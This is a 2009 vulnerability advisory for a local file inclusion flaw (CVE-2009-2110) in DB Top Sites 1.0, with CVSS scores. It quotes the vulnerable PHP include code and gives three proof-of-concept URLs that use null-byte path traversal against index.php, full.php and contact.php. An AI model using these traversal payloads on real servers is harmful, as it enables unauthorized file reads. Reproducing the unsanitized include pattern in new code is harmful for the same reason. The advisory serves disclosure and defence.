DB Top Sites 1.0 (index.php u) Local File Inclusion Vulnerability

2009.06.23

Credit: SirGod

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-2110

CWE: CWE-22

CVSS Base Score: 7.6/10

Impact Subscore: 10/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

######################################################################
[+] DB Top Sites v1.0 (index.php u) Local File Inclusion Vulnerability
[+] Discovered By SirGod 
[+] www.mortal-team.org
#######################################################################

[+] Local File Inclusion

 - Vulnerable code is everywhere

-------------------------------------------------------------------------------------------------------
if ( $u != "" ) {

if ( file_exists( "./sites/session/$u.session.php" ) ){
include "./sites/session/$u.session.php";
include "./sites/$u.php";
-------------------------------------------------------------------------------------------------------

- PoC's

    http://127.0.0.1/[path]/full.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/index.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/contact.php?u=../../../../../../BOOTSECT.BAK%00


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DB Top Sites 1.0 (index.php u) Local File Inclusion Vulnerability

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